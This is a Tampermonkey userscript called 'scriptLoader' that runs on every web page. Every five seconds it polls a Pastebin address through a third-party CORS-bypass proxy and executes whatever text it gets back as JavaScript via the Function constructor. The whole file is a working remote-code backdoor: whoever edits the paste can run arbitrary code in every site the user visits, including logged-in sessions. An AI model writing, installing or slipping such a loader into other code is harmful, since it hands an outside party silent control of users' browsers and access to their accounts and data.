scriptLoader.user.js

// ==UserScript==
// @name         scriptLoader
// @namespace    http://tampermonkey.net/
// @version      1.0
// @updateURL    https://gist.github.com/CEBracco/d97bb67272b56f5cb3b73f389f3722bb/raw/scriptLoader.user.js
// @description  try to take over the world again!
// @author       Batman
// @match        http://*/*
// @match        https://*/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    window.gettedFunction = "";

    function checkFunction(){
        var url = "https://cors-bypasser.glitch.me/bypass/https://pastebin.com/raw/cfTQ1Shc"
        var xhr = new XMLHttpRequest();
        xhr.open('GET', url);
        xhr.onload = function() {
            if (xhr.status === 200 && xhr.responseText != gettedFunction) {
                gettedFunction = xhr.responseText
                runFunction()
            }
        };
        xhr.send();
    }

    function parseFunction (str) {
        var fn_body_idx = str.indexOf('{'),
            fn_body = str.substring(fn_body_idx+1, str.lastIndexOf('}')),
            fn_declare = str.substring(0, fn_body_idx),
            fn_params = fn_declare.substring(fn_declare.indexOf('(')+1, fn_declare.lastIndexOf(')')),
            args = fn_params.split(',');

        args.push(fn_body);

        function Fn () {
            return Function.apply(this, args);
        }
        Fn.prototype = Function.prototype;

        return new Fn();
    }

    function runFunction() {
       var func = parseFunction(window.gettedFunction);
       func()
    }

    var intervalID = setInterval(checkFunction, 5000);
})();